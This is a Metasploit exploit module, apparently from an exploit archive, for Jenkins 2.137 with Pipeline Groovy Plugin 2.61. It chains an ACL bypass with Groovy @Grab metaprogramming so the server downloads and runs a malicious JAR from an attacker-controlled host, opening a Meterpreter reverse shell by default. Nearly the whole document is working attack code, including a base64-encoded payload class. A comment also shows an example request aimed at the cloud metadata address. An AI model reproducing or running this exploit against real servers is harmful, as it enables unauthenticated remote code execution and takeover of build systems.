Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)





Platform:

Java

Date:

2019-03-19


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Jenkins ACL Bypass and Metaprogramming RCE',
      'Description'    => %q{
        This module exploits a vulnerability in Jenkins dynamic routing to
        bypass the Overall/Read ACL and leverage Groovy metaprogramming to
        download and execute a malicious JAR file.

        The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
        on later versions of Jenkins.

        Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
      },
      'Author'         => [
        'Orange Tsai', # Discovery and PoC
        'wvu'          # Metasploit module
      ],
      'References'     => [
        ['CVE', '2019-1003000'], # Script Security
        ['CVE', '2019-1003001'], # Pipeline: Groovy
        ['CVE', '2019-1003002'], # Pipeline: Declarative
        ['EDB', '46427'],
        ['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],
        ['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],
        ['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],
        ['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc']
      ],
      'DisclosureDate' => '2019-01-08', # Public disclosure
      'License'        => MSF_LICENSE,
      'Platform'       => 'java',
      'Arch'           => ARCH_JAVA,
      'Privileged'     => false,
      'Targets'        => [
        ['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)',
          'Version'    => Gem::Version.new('2.137')
        ]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'},
      'Notes'          => {
        'Stability'    => [CRASH_SAFE],
        'SideEffects'  => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
        'Reliability'  => [REPEATABLE_SESSION]
      },
      'Stance'         => Stance::Aggressive # Be aggressive, b-e aggressive!
    ))

    register_options([
      Opt::RPORT(8080),
      OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])
    ])

    register_advanced_options([
      OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])

    deregister_options('URIPATH')
  end

=begin
  http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
=end
  def check
    checkcode = CheckCode::Safe

    res = send_request_cgi(
      'method'   => 'GET',
      'uri'      => go_go_gadget1('/search/index'),
      'vars_get' => {'q' => 'a'}
    )

    unless res && (version = res.headers['X-Jenkins'])
      vprint_error('Jenkins not detected')
      return CheckCode::Unknown
    end

    vprint_status("Jenkins #{version} detected")
    checkcode = CheckCode::Detected

    if Gem::Version.new(version) > target['Version']
      vprint_error("Jenkins #{version} is not a supported target")
      return CheckCode::Safe
    end

    vprint_good("Jenkins #{version} is a supported target")
    checkcode = CheckCode::Appears

    if res.body.include?('Administrator')
      vprint_good('ACL bypass successful')
      checkcode = CheckCode::Vulnerable
    else
      vprint_error('ACL bypass unsuccessful')
      return CheckCode::Safe
    end

    checkcode
  end

  def exploit
    unless check == CheckCode::Vulnerable || datastore['ForceExploit']
      fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end

    # NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS
    # HACK: Both HttpClient and HttpServer use datastore['SSL']
    ssl = datastore['SSL']
    datastore['SSL'] = false
    start_service('Path' => '/')
    datastore['SSL'] = ssl

    print_status('Sending Jenkins and Groovy go-go-gadgets')
    send_request_cgi(
      'method'   => 'GET',
      'uri'      => go_go_gadget1,
      'vars_get' => {'value' => go_go_gadget2}
    )
  end

  #
  # Exploit methods
  #

=begin
  http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
  ?apiUrl=http://169.254.169.254/%23
  &login=orange
  &password=tsai
=end
  def go_go_gadget1(custom_uri = nil)
    # NOTE: See CVE-2018-1000408 for why we don't want to randomize the username
    acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')

    return normalize_uri(acl_bypass, custom_uri) if custom_uri

    normalize_uri(
      acl_bypass,
      '/descriptorByName',
      '/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'
    )
  end

=begin
  http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
  ?value=
  @GrabConfig(disableChecksums=true)%0a
  @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
  @Grab(group='tw.orange', module='poc', version='1')%0a
  import Orange;
=end
  def go_go_gadget2
    (
      <<~EOF
        @GrabConfig(disableChecksums=true)
        @GrabResolver('http://#{srvhost_addr}:#{srvport}/')
        @Grab('#{vendor}:#{app}:#{version}')
        import #{app}
      EOF
    ).strip
  end

  #
  # Payload methods
  #

  #
  # If you deviate from the following sequence, you will suffer!
  #
  # HEAD /path/to/pom.xml     -> 404
  # HEAD /path/to/payload.jar -> 200
  # GET  /path/to/payload.jar -> 200
  #
  def on_request_uri(cli, request)
    vprint_status("#{request.method} #{request.uri} requested")

    unless %w[HEAD GET].include?(request.method)
      vprint_error("Ignoring #{request.method} request")
      return
    end

    if request.method == 'HEAD'
      if request.uri != payload_uri
        vprint_error('Sending 404')
        return send_not_found(cli)
      end

      vprint_good('Sending 200')
      return send_response(cli, '')
    end

    if request.uri != payload_uri
      vprint_error('Sending bogus file')
      return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")
    end

    vprint_good('Sending payload JAR')
    send_response(
      cli,
      payload_jar,
      'Content-Type' => 'application/java-archive'
    )

    # XXX: $HOME may not work in some cases
    register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")
  end

  def payload_jar
    jar = payload.encoded_jar

    jar.add_file("#{app}.class", exploit_class)
    jar.add_file(
      'META-INF/services/org.codehaus.groovy.plugins.Runners',
      "#{app}\n"
    )

    jar.pack
  end

=begin javac Exploit.java
  import metasploit.Payload;

  public class Exploit {
      public Exploit(){
          try {
              Payload.main(null);
          } catch (Exception e) { }

      }
  }
=end
  def exploit_class
    klass = Rex::Text.decode_base64(
      <<~EOF
        yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB
        AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq
        YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl
        Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n
        L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q
        twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL
        AAAA
      EOF
    )

    # Replace length-prefixed string "Exploit" with a random one
    klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}")
  end

  #
  # Utility methods
  #

  def payload_uri
    "/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"
  end

  def vendor
    @vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join
  end

  def app
    @app ||= Faker::App.name.split(/[^[:alpha:]]/).join
  end

  def version
    @version ||= Faker::App.semantic_version
  end

end